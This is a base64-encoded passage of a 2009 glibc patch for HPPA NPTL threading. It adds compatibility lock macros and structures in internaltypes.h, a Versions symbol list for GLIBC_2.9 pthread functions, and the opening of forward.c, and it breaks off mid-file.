KwlvbGRfaHBwYV9wdGhyZWFkX2NvbmRfYnJvYWRjYXN0IFwKKwlvbGRfaHBw
YV9wdGhyZWFkX2NvbmRfZGVzdHJveSBcCisJb2xkX2hwcGFfcHRocmVhZF9j
b25kX2luaXQgXAorCW9sZF9ocHBhX3B0aHJlYWRfY29uZF9zaWduYWwgXAor
CW9sZF9ocHBhX3B0aHJlYWRfY29uZF90aW1lZHdhaXQgXAorCW9sZF9ocHBh
X3B0aHJlYWRfY29uZF93YWl0IFwKKwlvbGRfaHBwYV9wdGhyZWFkX211dGV4
X2Rlc3Ryb3kgXAorCW9sZF9ocHBhX3B0aHJlYWRfbXV0ZXhfaW5pdCBcCisJ
b2xkX2hwcGFfcHRocmVhZF9tdXRleF9sb2NrIFwKKwlvbGRfaHBwYV9wdGhy
ZWFkX211dGV4X3RpbWVkbG9jayBcCisJb2xkX2hwcGFfcHRocmVhZF9tdXRl
eF90cnlsb2NrIFwKKwlvbGRfaHBwYV9wdGhyZWFkX211dGV4X3VubG9jayBc
CisJb2xkX2hwcGFfcHRocmVhZF9yd2xvY2tfZGVzdHJveSBcCisJb2xkX2hw
cGFfcHRocmVhZF9yd2xvY2tfaW5pdCBcCisJb2xkX2hwcGFfcHRocmVhZF9y
d2xvY2tfcmRsb2NrIFwKKwlvbGRfaHBwYV9wdGhyZWFkX3J3bG9ja190aW1l
ZHJkbG9jayBcCisJb2xkX2hwcGFfcHRocmVhZF9yd2xvY2tfdGltZWR3cmxv
Y2sgXAorCW9sZF9ocHBhX3B0aHJlYWRfcndsb2NrX3RyeXJkbG9jayBcCisJ
b2xkX2hwcGFfcHRocmVhZF9yd2xvY2tfdHJ5d3Jsb2NrIFwKKwlvbGRfaHBw
YV9wdGhyZWFkX3J3bG9ja191bmxvY2sgXAorCW9sZF9ocHBhX3B0aHJlYWRf
cndsb2NrX3dybG9jaworZW5kaWYKSW5kZXg6IHN5c2RlcHMvdW5peC9zeXN2
L2xpbnV4L2hwcGEvaW50ZXJuYWx0eXBlcy5oCj09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT0KUkNTIGZpbGU6IHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEv
aW50ZXJuYWx0eXBlcy5oCmRpZmYgLU4gc3lzZGVwcy91bml4L3N5c3YvbGlu
dXgvaHBwYS9pbnRlcm5hbHR5cGVzLmgKLS0tIC9kZXYvbnVsbAkxIEphbiAx
OTcwIDAwOjAwOjAwIC0wMDAwCisrKyBzeXNkZXBzL3VuaXgvc3lzdi9saW51
eC9ocHBhL2ludGVybmFsdHlwZXMuaAkyIEFwciAyMDA5IDAyOjM0OjAzIC0w
MDAwCkBAIC0wLDAgKzEsMTg0IEBACisjaW5jbHVkZV9uZXh0IDxpbnRlcm5h
bHR5cGVzLmg+CisjaWZuZGVmIF9JTlRFUk5BTF9UWVBFU19IX0hQUEFfIAor
I2RlZmluZSBfSU5URVJOQUxfVFlQRVNfSF9IUFBBXyAxCisKKy8qIENvbXBh
dGliaWxpdHkgX19hdG9taWNfbG9ja190IAorICAgYW5kIF9wdGhyZWFkX2Zh
c3Rsb2NrLiAgKi8KK3R5cGVkZWYgdm9sYXRpbGUgc3RydWN0IHsKKwlpbnQg
bG9ja1s0XTsKK30gX19hdHRyaWJ1dGVfXyAoKGFsaWduZWQoMTYpKSkgY29t
cGF0X2F0b21pY19sb2NrX3Q7CisKK3N0cnVjdCBjb21wYXRfcHRocmVhZF9m
YXN0bG9jaworeworICBjb21wYXRfYXRvbWljX2xvY2tfdCBjb21wYXRfc3Bp
bmxvY2s7CisgIGxvbmcgaW50IGNvbXBhdF9zdGF0dXM7Cit9OworCisvKiBU
aGUgaHBwYSBvbmx5IGhhcyBvbmUgYXRvbWljIHJlYWQgYW5kIG1vZGlmeSBt
ZW1vcnkgb3BlcmF0aW9uLAorICAgbG9hZCBhbmQgY2xlYXIsIHNvIGhwcGEg
c3BpbmxvY2tzIG11c3QgdXNlIHplcm8gdG8gc2lnbmlmeSB0aGF0CisgICBz
b21lb25lIGlzIGhvbGRpbmcgdGhlIGxvY2suICBUaGUgYWRkcmVzcyB1c2Vk
IGZvciB0aGUgbGRjdworICAgc2VtYXBob3JlIG11c3QgYmUgMTYtYnl0ZSBh
bGlnbmVkLiAgKi8KKyNkZWZpbmUgX19sZGN3KGEpIFwKKyh7IAkJCQkJCQkJ
CVwKKyAgdW5zaWduZWQgaW50IF9fcmV0OwkJCQkJCQlcCisgIF9fYXNtX18g
X192b2xhdGlsZV9fKCJsZGN3IDAoJTEpLCUwIgkJCQkJXAorCQkgICAgICAg
OiAiPXIiIChfX3JldCkgOiAiciIgKGEpIDogIm1lbW9yeSIpOwkJXAorICBf
X3JldDsJCQkJCQkJCVwKK30pCisKKy8qIFN0cm9uZ2x5IG9yZGVyZWQgbG9j
ayByZXNldCAqLworI2RlZmluZSBfX2xvY2tfcmVzZXQobG9ja19hZGRyLCB0
bXApIFwKKyh7CQkJCQkJCQkJXAorICBfX2FzbV9fIF9fdm9sYXRpbGVfXyAo
InN0dyxtYSAlMSwwKCUwKSIJCQkJXAorCQkJOiA6ICJyIiAobG9ja19hZGRy
KSwgInIiICh0bXApIDogIm1lbW9yeSIpOyAJXAorfSkKKworLyogQmVjYXVz
ZSBtYWxsb2Mgb25seSBndWFyYW50ZWVzIDgtYnl0ZSBhbGlnbm1lbnQgZm9y
IG1hbGxvYydkIGRhdGEsCisgICBhbmQgR0NDIG9ubHkgZ3VhcmFudGVlcyA4
LWJ5dGUgYWxpZ25tZW50IGZvciBzdGFjayBsb2NhbHMsIHdlIGNhbid0Cisg
ICBiZSBhc3N1cmVkIG9mIDE2LWJ5dGUgYWxpZ25tZW50IGZvciBhdG9taWMg
bG9jayBkYXRhIGV2ZW4gaWYgd2UKKyAgIHNwZWNpZnkgIl9fYXR0cmlidXRl
ICgoYWxpZ25lZCgxNikpKSIgaW4gdGhlIHR5cGUgZGVjbGFyYXRpb24uICBT
bywKKyAgIHdlIHVzZSBhIHN0cnVjdCBjb250YWluaW5nIGFuIGFycmF5IG9m
IGZvdXIgaW50cyBmb3IgdGhlIGF0b21pYyBsb2NrCisgICB0eXBlIGFuZCBk
eW5hbWljYWxseSBzZWxlY3QgdGhlIDE2LWJ5dGUgYWxpZ25lZCBpbnQgZnJv
bSB0aGUgYXJyYXkKKyAgIGZvciB0aGUgc2VtYXBob3JlLiAgKi8KKyNkZWZp
bmUgX19QQV9MRENXX0FMSUdOTUVOVCAxNgorI2RlZmluZSBfX2xkY3dfYWxp
Z24oYSkgKHsgXAorICB2b2xhdGlsZSB1bnNpZ25lZCBpbnQgX19yZXQgPSAo
dW5zaWduZWQgaW50KSBhOwkJCVwKKyAgaWYgKChfX3JldCAmIH4oX19QQV9M
RENXX0FMSUdOTUVOVCAtIDEpKSA8ICh1bnNpZ25lZCBpbnQpIGEpCQlcCisg
ICAgX19yZXQgPSAoX19yZXQgJiB+KF9fUEFfTERDV19BTElHTk1FTlQgLSAx
KSkgKyBfX1BBX0xEQ1dfQUxJR05NRU5UOyBcCisgICh1bnNpZ25lZCBpbnQg
KikgX19yZXQ7CQkJCQkJXAorfSkKKworLyogSWYgdGhlIGNvbXBhdCBmdW5j
aXRvbiBtaWdodCBiZSBjYWxsZWQgYnkgdHdvIG9yIG1vcmUgdGhyZWFkcwor
ICAgdGhlbiB0aGUgY29tcGF0IGxvY2sgbXVzdCBiZSB0YWtlbiBiZWZvcmUg
bW9kaWZ5aW5nIHRoZSAKKyAgIGNvbXBhdCBzdHJ1Y3R1cmUuIFRoaXMgYXZv
aWRzIGEgcmFjZSBjb25kaXRpb24gaW4gdGhlIGFsbG9jYXRpb24KKyAgIG9m
IHRoZSBuZXcgc3RydWN0dXJlLiAgKi8KKyNkZWZpbmUgY29tcGF0X2xvY2so
dmFyKSBcCisoewkJCQkJCQkJXAorICB2b2xhdGlsZSB1bnNpZ25lZCBpbnQg
KmEgPSBfX2xkY3dfYWxpZ24gKCZ2YXItPmNvbXBhdF9sb2NrKTsJXAorICB2
b2xhdGlsZSB1bnNpZ25lZCBpbnQgdG1wOwkJCQkJXAorICAvKiBBdG9taWNh
bGx5IGxvY2sgdGhlIGluaXRpYWxpemVkIGxvY2suICAqLwkJCVwKKyAgLyog
cHJpbnRmICgiJXM6JWRcbiIsIF9fRklMRV9fLCBfX0xJTkVfXyk7ICovCQkJ
XAorICB3aGlsZSAoKHRtcCA9IF9fbGRjdyhhKSkgPT0gMCkJCQkJXAorICAg
IHNjaGVkX3lpZWxkKCk7CisKKy8qIEFsbG9jYXRlIHRoZSBuZXcgc3RydWN0
dXJlLgorICAgTm90ZXM6IE11c3QgYmUgY2FsbGVkIHdpdGggbG9jayBoZWxk
LiAgKi8KKyNkZWZpbmUgY29tcGF0X21hbGxvYyh2YXIpIFwKKyAgLyogQWxs
b2NhdGUgdGhlIG5ldyBjb21wYXQgdmFyaWFibGUuICAqLwkJCVwKKyAgaWYg
KHZhci0+Y29tcGF0ID09IE5VTEwpCQkJCQlcCisgICAgewkJCQkJCQkJXAor
ICAgICAgdmFyLT5jb21wYXQgPSAoX190eXBlb2YodmFyLT5jb21wYXQpKSAJ
CQlcCisJCSAgICBjYWxsb2MoMSwgc2l6ZW9mKF9fdHlwZW9mKCp2YXItPmNv
bXBhdCkpKTsJXAorICAgICAgaWYgKHZhci0+Y29tcGF0ID09IE5VTEwpCQkJ
CQlcCisJewkJCQkJCQlcCisJICBfX2xvY2tfcmVzZXQoYSwgdG1wID0gMSk7
CQkJCVwKKwkgIHJldHVybiBFTk9NRU07CQkJCQlcCisJfQkJCQkJCQlcCisg
ICAgfQkJCQkJCQkJXAorCisvKiBBbGxvY2F0ZSB0aGUgbmV3IHN0cnVjdHVy
ZS4KKyAgIE5vdGVzOiBEb2VzIG5vdCB1bmxvY2sgYW55IGxvY2sgb24gZXJy
b3IuICAqLworI2RlZmluZSBjb21wYXRfbWFsbG9jX25vbG9jayh2YXIpIFwK
KyAgLyogQWxsb2NhdGUgdGhlIG5ldyBjb21wYXQgdmFyaWFibGUuICAqLwkJ
CVwKKyAgaWYgKHZhci0+Y29tcGF0ID09IE5VTEwpCQkJCQlcCisgICAgewkJ
CQkJCQkJXAorICAgICAgdmFyLT5jb21wYXQgPSAoX190eXBlb2YodmFyLT5j
b21wYXQpKSAJCQlcCisJCSAgICBjYWxsb2MoMSwgc2l6ZW9mKF9fdHlwZW9m
KCp2YXItPmNvbXBhdCkpKTsJXAorICAgICAgaWYgKHZhci0+Y29tcGF0ID09
IE5VTEwpCQkJCQlcCisJewkJCQkJCQlcCisJICByZXR1cm4gRU5PTUVNOwkJ
CQkJXAorCX0JCQkJCQkJXAorICAgIH0JCQkJCQkJCVwKKworLyogQ29weSBp
bml0aWFsaXphdGlvbiBkYXRhIGZyb20gdGhlIGNvbXBhdCBtdXRleC4gIAor
ICAgTm90ZXM6IE11c3QgYmUgY2FsbGVkIHdpdGggbG9jayBoZWxkLiAgKi8K
KyNkZWZpbmUgY29tcGF0X211dGV4X2NvcHkodmFyKSBcCisgIC8qIENvcHkg
dGhlIG11dGV4IGtpbmQgaW5pdGlhbGl6ZXIuICAqLwlcCisgIHZhci0+Y29t
cGF0LT5fX2RhdGEuX19raW5kID0gdmFyLT5fX2tpbmQ7CisKKy8qIENvcHkg
aW5pdGlhbGl6YXRpb24gZGF0YSBmcm9tIHRoZSBjb21wYXQgcndsb2NrLiAg
CisgICBOb3RlczogTXVzdCBiZSBjYWxsZWQgd2l0aCBsb2NrIGhlbGQuICAq
LworI2RlZmluZSBjb21wYXRfcndsb2NrX2NvcHkodmFyKSBcCisgIC8qIENv
cHkgdGhlIHJ3bG9jayBmbGFncyBpbml0aWFsaXplcnMuICAqLwlcCisgIHZh
ci0+Y29tcGF0LT5fX2RhdGEuX19mbGFncyA9IHZhci0+X19mbGFnczsKKwor
LyogUmVsZWFzZSB0aGUgbG9jay4gICovCisjZGVmaW5lIGNvbXBhdF91bmxv
Y2sodmFyKSBcCisgIF9fbG9ja19yZXNldChhLCB0bXAgPSAxKTsJCQlcCit9
KQorCisKKy8qIFdhcyB0aGUgY29tcGF0IHZhcmlhYmxlIGluaXRpYWxpemVk
PyAgQSByZWFkIG9yIHdyaXRlIG9mIGEKKyAgIHBvaW50ZXIgc2l6ZWQgcXVh
bnRpdHkgaXMgYXRvbWljLCB0aGVyZWZvcmUgd2Ugc2hvdWxkIHNlZQorICAg
ZWl0aGVyIGFuIGluaXRhbGl6ZWQgb3IgdW5pbml0aWFsaXplZCBjb21wYXQg
cG9pbnRlciBhbmQKKyAgIGFjdCBhY2NvcmRpbmdseS4gIFRoaXMgaXMgY3Vy
cmVudGx5IHVzZWQgYnkgdGhlIGRlc3Ryb3kKKyAgIGZ1bmN0aW9ucyB0byBj
aGVjayBpZiBhbnkgd29yayBuZWVkcyB0byBiZSBkb25lLiBJZiBhIHVzZXIK
KyAgIGlzIGluIHRoZSBtaWRkbGUgb2YgaW5pdGlhbGl6YXRpb24sIGFuZCBj
YWxscyBkZXN0cm95LCAKKyAgIHRoZSBkZXN0cm95IGZ1bmN0aW9uIHNob3Vs
ZCBzZWUgYSBjb25zaXN0ZW50IAorICAgdmlldyBvZiB2YXItPmNvbXBhdCBh
bmQgZG8gbm90aGluZyBpZiBpbml0aWFsaXphdGlvbgorICAgaXMgbm90IGNv
bXBsZXRlLiAgKi8KKyNkZWZpbmUgY29tcGF0X3ByZXNlbnQodmFyKSBcCisg
KHZhci0+Y29tcGF0ICE9IE5VTEwpCisKKy8qIEZyZWUgdGhlIGNvbXBhdCB2
YXJpYWJsZS4gTXVzdCBvbmx5IGJlIGNhbGxlZCBmcm9tIAorICAgcHRocmVh
ZF9tdXRleF9kZXN0b3J5LCBwdGhyZWFkX2NvbmRfZGVzdHJveSwgYW5kCisg
ICBwdGhyZWFkX3J3bG9ja19kZXN0cm95LiBBc3N1bWVzIG9ubHkgb25lIHRo
cmVhZCBpcyBjYWxsaW5nIHRoZQorICAgZGVzdHJveSBmdW5jdGlvbi4gIFBP
U0lYIHNheXMgdGhhdCBjYWxsaW5nIGRlc3Ryb3kgdHdpY2UgaXMKKyAgIHVu
ZGVmaW5lZCwgdGhlcmVmb3JlIHdlIGNhbiBzYWZlbHkgYXNzdW1lIG9ubHkg
b25lIHRocmVhZCBjYWxscworICAgdGhpcyBmdW5jdGlvbi4gIElmIHR3byB0
aHJlYWRzIGNhbGwgdGhpcyBmdW5jdGlvbiB0aGVuIG1hbGxvYworICAgZG91
YmxlLWZyZWUgY2hlY2tpbmcgc2hvdWxkIGFsbG93IHVzZXJzIHRvIGNvcnJl
Y3QgdGhlaXIgY29kZS4gICovCisjZGVmaW5lIGNvbXBhdF9mcmVlKHZhcikg
XAorKHsJCQlcCisgIGZyZWUgKHZhci0+Y29tcGF0KTsJXAorICB2YXItPmNv
bXBhdCA9IE5VTEw7CVwKK30pCisKKy8qIEluaW50aWFsaXplIHRoZSBjb21w
YXQgbG9jayBmb3IgdXNlIHdpdGggbGRjdy4gVGhpcyBmdW5jdGlvbgorICAg
bXVzdCBvbmx5IGJlIGNhbGxlZCBmcm9tIHB0aHJlYWRfbXV0ZXhfaW5pdCwg
cHRocmVhZF9jb25kX2luaXQKKyAgIG9yIHB0aHJlYWRfcndsb2NrX2luaXQu
IFBPU0lYIHNheXMgdGhhdCAiQXR0ZW1wdGluZyB0byBpbml0aWFsaXNlIAor
ICAgYW4gYWxyZWFkeSBpbml0aWFsaXNlZCBtdXRleCByZXN1bHRzIGluIHVu
ZGVmaW5lZCBiZWhhdmlvdXIuIgorICAgdGhlcmVmb3JlIHdlIGFzc3VtZSBv
bmx5IG9uZSB0aHJlYWQgaXMgY2FsbGluZyB0aGUgaW5pdGlhbGl6YXRpb24K
KyAgIGZ1bmN0aW9uIGF0IGFueSBnaXZlbiBwb2ludCwgYW5kIHRoZXJlZm9y
ZSBpbml0aWFsaXphdGlvbiBuZWVkCisgICBub3QgYmUgZ3VhcmRlZCBieSBs
b2NraW5nIHRoZSBjb21wYXQgbG9jay4gICovCisjZGVmaW5lIGNvbXBhdF9p
bml0KHZhcikgXAorKHsJCQkJCQkJCQkJCQlcCisgIHZhci0+Y29tcGF0X2xv
Y2sgPSAoKHN0cnVjdCBjb21wYXRfcHRocmVhZF9mYXN0bG9jaykgeyB7IHsx
LCAxLCAxLCAxIH0gfSwgMHhERUFEQkVFRiB9KTsJXAorfSkKKworLyogVGhl
IGZvbGxvd2luZyBhcmUgdGhlIGNvbXBhdCBpbnRlcnByZXRhdGlvbnMgb2Yg
dGhlCisgICB0aGUgb2xkIHB0aHJlYWQgc3RydWN0dXJlcy4gICovCisKK3R5
cGVkZWYgc3RydWN0IHsKKyAgc3RydWN0IGNvbXBhdF9wdGhyZWFkX2Zhc3Rs
b2NrIGNvbXBhdF9sb2NrOworICAvKiBPdmVyd3JpdGVzIF9wdGhyZWFkX2Rl
c2NyIF9fY193YWl0aW5nLiAgKi8KKyAgcHRocmVhZF9jb25kX3QgKmNvbXBh
dDsKK30gcHRocmVhZF9jb25kX2hwcGFfMl8zXzJfdDsKKwordHlwZWRlZiBz
dHJ1Y3QgeworICBpbnQgcGFkMTsKKyAgaW50IHBhZDI7CisgIC8qIE92ZXJ3
cml0ZXMgX3B0aHJlYWRfZGVzY3IgX19tX293bmVyLiAgKi8KKyAgcHRocmVh
ZF9tdXRleF90ICpjb21wYXQ7CisgIC8qIEtJTkQgbXVzdCBzdGF5IGF0IHRo
aXMgcG9zaXRpb24gdG8gbWFpbnRhaW4gYmluYXJ5IAorICAgICBjb21wYXRp
YmlsaXR5IHdpdGggTGludXh0aHJlYWRzLiAgKi8KKyAgaW50IF9fa2luZDsK
KyAgc3RydWN0IGNvbXBhdF9wdGhyZWFkX2Zhc3Rsb2NrIGNvbXBhdF9sb2Nr
OyAKK30gcHRocmVhZF9tdXRleF9ocHBhXzJfMF90OworCit0eXBlZGVmIHN0
cnVjdCB7CisgIHN0cnVjdCBjb21wYXRfcHRocmVhZF9mYXN0bG9jayBjb21w
YXRfbG9jazsgCisgIC8qIE92ZXJ3cml0ZXMgaW50IF9fcndfcmVhZGVycy4g
ICovCisgIHB0aHJlYWRfcndsb2NrX3QgKmNvbXBhdDsKKyAgaW50IHBhZDE7
CisgIGludCBwYWQyOworICBpbnQgcGFkMzsKKyAgLyogRkxBR1MgYW5kIFBT
SEFSRUQgc3RheSBhdCB0aGlzIHBvc2l0aW9uIHRvIAorICAgICBtYWludGFp
biBiaW5hcnkgY29tcGF0aWJpbGl0eSB3aXRoIExpbnV4dGhyZWFkcy4gICov
CisgIHVuc2lnbmVkIGNoYXIgX19mbGFnczsKKyAgdW5zaWduZWQgY2hhciBf
X3NoYXJlZDsKKyAgdW5zaWduZWQgY2hhciBfX3BhZDE7CisgIHVuc2lnbmVk
IGNoYXIgX19wYWQyOworfSBwdGhyZWFkX3J3bG9ja19ocHBhXzJfMF90Owor
CisjZW5kaWYKKwpJbmRleDogc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBw
YS9ucHRsL1ZlcnNpb25zCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KUkNTIGZp
bGU6IHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9WZXJzaW9u
cwpkaWZmIC1OIHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9W
ZXJzaW9ucwotLS0gL2Rldi9udWxsCTEgSmFuIDE5NzAgMDA6MDA6MDAgLTAw
MDAKKysrIHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9WZXJz
aW9ucwkyIEFwciAyMDA5IDAyOjM0OjAzIC0wMDAwCkBAIC0wLDAgKzEsNjUg
QEAKK2xpYmMgeworICBHTElCQ18yLjkgeworICAgICMgQ2hhbmdlZCBsb2Nr
IGltcGxlbWVuYXRpb24sIGJyZWFraW5nIHRoZSBBQkkgZm9yCisgICAgIyBh
bGwgc3RydWN0dXJlcyB0aGF0IGNhbiBjb250YWluIHN0YXRpY2FsbHkgaW5p
dGlhbGl6ZWQKKyAgICAjIGxvY2tzLiBBZGRlZCBjb21wYXQgZnVuY3Rpb25z
IGFuZCBzdHJ1Y3R1cmVzIGZvciB0aGUKKyAgICAjIGZvbGxvd2luZyBmdW5j
dGlvbnM6CisgICAgcHRocmVhZF9jb25kX2Jyb2FkY2FzdDsKKyAgICBwdGhy
ZWFkX2NvbmRfZGVzdHJveTsKKyAgICBwdGhyZWFkX2NvbmRfaW5pdDsKKyAg
ICBwdGhyZWFkX2NvbmRfc2lnbmFsOworICAgIHB0aHJlYWRfY29uZF90aW1l
ZHdhaXQ7CisgICAgcHRocmVhZF9jb25kX3dhaXQ7CisgICAgcHRocmVhZF9t
dXRleF9kZXN0cm95OworICAgIHB0aHJlYWRfbXV0ZXhfaW5pdDsKKyAgICBw
dGhyZWFkX211dGV4X2xvY2s7CisgICAgcHRocmVhZF9tdXRleF90aW1lZGxv
Y2s7CisgICAgcHRocmVhZF9tdXRleF90cnlsb2NrOworICAgIHB0aHJlYWRf
bXV0ZXhfdW5sb2NrOworICAgIHB0aHJlYWRfcndsb2NrX2Rlc3Ryb3k7Cisg
ICAgcHRocmVhZF9yd2xvY2tfaW5pdDsKKyAgICBwdGhyZWFkX3J3bG9ja19y
ZGxvY2s7CisgICAgcHRocmVhZF9yd2xvY2tfdGltZWRyZGxvY2s7CisgICAg
cHRocmVhZF9yd2xvY2tfdGltZWR3cmxvY2s7CisgICAgcHRocmVhZF9yd2xv
Y2tfdHJ5cmRsb2NrOworICAgIHB0aHJlYWRfcndsb2NrX3RyeXdybG9jazsK
KyAgICBwdGhyZWFkX3J3bG9ja191bmxvY2s7CisgICAgcHRocmVhZF9yd2xv
Y2tfd3Jsb2NrOworICB9Cit9CisKK2xpYnB0aHJlYWQgeworICBHTElCQ18y
LjkgeworICAgICMgQ2hhbmdlZCBsb2NrIGltcGxlbWVuYXRpb24sIGJyZWFr
aW5nIHRoZSBBQkkgZm9yCisgICAgIyBhbGwgc3RydWN0dXJlcyB0aGF0IGNh
biBjb250YWluIHN0YXRpY2FsbHkgaW5pdGlhbGl6ZWQKKyAgICAjIGxvY2tz
LiBBZGRlZCBjb21wYXQgZnVuY3Rpb25zIGFuZCBzdHJ1Y3R1cmVzIGZvciB0
aGUKKyAgICAjIGZvbGxvd2luZyBmdW5jdGlvbnM6CisgICAgcHRocmVhZF9j
b25kX2Jyb2FkY2FzdDsKKyAgICBwdGhyZWFkX2NvbmRfZGVzdHJveTsKKyAg
ICBwdGhyZWFkX2NvbmRfaW5pdDsKKyAgICBwdGhyZWFkX2NvbmRfc2lnbmFs
OworICAgIHB0aHJlYWRfY29uZF90aW1lZHdhaXQ7CisgICAgcHRocmVhZF9j
b25kX3dhaXQ7CisgICAgcHRocmVhZF9tdXRleF9kZXN0cm95OworICAgIHB0
aHJlYWRfbXV0ZXhfaW5pdDsKKyAgICBwdGhyZWFkX211dGV4X2xvY2s7Cisg
ICAgcHRocmVhZF9tdXRleF90aW1lZGxvY2s7CisgICAgcHRocmVhZF9tdXRl
eF90cnlsb2NrOworICAgIHB0aHJlYWRfbXV0ZXhfdW5sb2NrOworICAgIHB0
aHJlYWRfcndsb2NrX2Rlc3Ryb3k7CisgICAgcHRocmVhZF9yd2xvY2tfaW5p
dDsKKyAgICBwdGhyZWFkX3J3bG9ja19yZGxvY2s7CisgICAgcHRocmVhZF9y
d2xvY2tfdGltZWRyZGxvY2s7CisgICAgcHRocmVhZF9yd2xvY2tfdGltZWR3
cmxvY2s7CisgICAgcHRocmVhZF9yd2xvY2tfdHJ5cmRsb2NrOworICAgIHB0
aHJlYWRfcndsb2NrX3RyeXdybG9jazsKKyAgICBwdGhyZWFkX3J3bG9ja191
bmxvY2s7CisgICAgcHRocmVhZF9yd2xvY2tfd3Jsb2NrOworICAgICMgUHJv
dGVjdGVkIG5hbWVzIGZvciBmdW5jdGlvbnMgdXNlZCBpbiBvdGhlciBzaGFy
ZWQgb2JqZWN0cy4KKyAgICBfX3B0aHJlYWRfbXV0ZXhfaW5pdDsKKyAgICBf
X3B0aHJlYWRfbXV0ZXhfZGVzdHJveTsKKyAgICBfX3B0aHJlYWRfbXV0ZXhf
bG9jazsgCisgICAgX19wdGhyZWFkX211dGV4X3RyeWxvY2s7IAorICAgIF9f
cHRocmVhZF9tdXRleF91bmxvY2s7CisgIH0KK30KSW5kZXg6IHN5c2RlcHMv
dW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9mb3J3YXJkLmMKPT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PQpSQ1MgZmlsZTogc3lzZGVwcy91bml4L3N5c3YvbGlu
dXgvaHBwYS9ucHRsL2ZvcndhcmQuYwpkaWZmIC1OIHN5c2RlcHMvdW5peC9z
eXN2L2xpbnV4L2hwcGEvbnB0bC9mb3J3YXJkLmMKLS0tIC9kZXYvbnVsbAkx
IEphbiAxOTcwIDAwOjAwOjAwIC0wMDAwCisrKyBzeXNkZXBzL3VuaXgvc3lz
di9saW51eC9ocHBhL25wdGwvZm9yd2FyZC5jCTIgQXByIDIwMDkgMDI6MzQ6
MDMgLTAwMDAKQEAgLTAsMCArMSwyNzUgQEAKKy8qIENvcHlyaWdodCAoQykg
MjAwMiwgMjAwMywgMjAwNCwgMjAwNywgMjAwOSBGcmVlIFNvZnR3YXJlIEZv
dW5kYXRpb24sIEluYy4KKyAgIFRoaXMgZmlsZSBpcyBwYXJ0IG9mIHRoZSBH
TlUgQyBMaWJyYXJ5LgorICAgQ29udHJpYnV0ZWQgYnkgVWxyaWNoIERyZXBw
ZXIgPGRyZXBwZXJAcmVkaGF0LmNvbT4sIDIwMDIuCisKKyAgIFRoZSBHTlUg
QyBMaWJyYXJ5IGlzIGZyZWUgc29mdHdhcmU7IHlvdSBjYW4gcmVkaXN0cmli
dXRlIGl0IGFuZC9vcgorICAgbW9kaWZ5IGl0IHVuZGVyIHRoZSB0ZXJtcyBv
ZiB0aGUgR05VIExlc3NlciBHZW5lcmFsIFB1YmxpYworICAgTGljZW5zZSBh
cyBwdWJsaXNoZWQgYnkgdGhlIEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbjsg
ZWl0aGVyCisgICB2ZXJzaW9uIDIuMSBvZiB0aGUgTGljZW5zZSwgb3IgKGF0
IHlvdXIgb3B0aW9uKSBhbnkgbGF0ZXIgdmVyc2lvbi4KKworICAgVGhlIEdO
VSBDIExpYnJhcnkgaXMgZGlzdHJpYnV0ZWQgaW4gdGhlIGhvcGUgdGhhdCBp
dCB3aWxsIGJlIHVzZWZ1bCwKKyAgIGJ1dCBXSVRIT1VUIEFOWSBXQVJSQU5U
WTsgd2l0aG91dCBldmVuIHRoZSBpbXBsaWVkIHdhcnJhbnR5IG9mCisgICBN
RVJDSEFOVEFCSUxJVFkgb3IgRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBV
UlBPU0UuICBTZWUgdGhlIEdOVQorICAgTGVzc2VyIEdlbmVyYWwgUHVibGlj
IExpY2Vuc2UgZm9yIG1vcmUgZGV0YWlscy4KKworICAgWW91IHNob3VsZCBo
YXZlIHJlY2VpdmVkIGEgY29weSBvZiB0aGUgR05VIExlc3NlciBHZW5lcmFs
IFB1YmxpYworICAgTGljZW5zZSBhbG9uZyB3aXRoIHRoZSBHTlUgQyBMaWJy
YXJ5OyBpZiBub3QsIHdyaXRlIHRvIHRoZSBGcmVlCisgICBTb2Z0d2FyZSBG
b3VuZGF0aW9uLCBJbmMuLCA1OSBUZW1wbGUgUGxhY2UsIFN1aXRlIDMzMCwg
Qm9zdG9uLCBNQQorICAgMDIxMTEtMTMwNyBVU0EuICAqLworCisjaW5jbHVk
ZSA8ZGxmY24uaD4KKyNpbmNsdWRlIDxwdGhyZWFkUC5oPgorI2luY2x1ZGUg
PHNpZ25hbC5oPgorI2luY2x1ZGUgPHN0ZGxpYi5oPgorCisjaW5jbHVkZSA8
c2hsaWItY29tcGF0Lmg+CisjaW5jbHVkZSA8YXRvbWljLmg+CisjaW5jbHVk
ZSA8c3lzZGVwLmg+CisKKworLyogUG9pbnRlcnMgdG8gdGhlIGxpYmMgZnVu
Y3Rpb25zLiAgKi8KK3N0cnVjdCBwdGhyZWFkX2Z1bmN0aW9ucyBfX2xpYmNf
cHRocmVhZF9mdW5jdGlvbnMgYXR0cmlidXRlX2hpZGRlbjsKK2ludCBfX2xp
YmNfcHRocmVhZF9mdW5jdGlvbnNfaW5pdCBhdHRyaWJ1dGVfaGlkZGVuOwor
CisKKyNkZWZpbmUgRk9SV0FSRDIobmFtZSwgcmV0dHlwZSwgZGVjbCwgcGFy
YW1zLCBkZWZhY3Rpb24pIFwKK3JldHR5cGUJCQkJCQkJCQkgICAgICBcCitu
YW1lIGRlY2wJCQkJCQkJCSAgICAgIFwKK3sJCQkJCQkJCQkgICAgICBcCisg
IGlmICghX19saWJjX3B0aHJlYWRfZnVuY3Rpb25zX2luaXQpCQkJCQkgICAg
ICBcCisgICAgZGVmYWN0aW9uOwkJCQkJCQkJICAgICAgXAorCQkJCQkJCQkJ
ICAgICAgXAorICByZXR1cm4gUFRIRkNUX0NBTEwgKHB0cl8jI25hbWUsIHBh
cmFtcyk7CQkJCSAgICAgIFwKK30KKworI2RlZmluZSBGT1JXQVJEKG5hbWUs
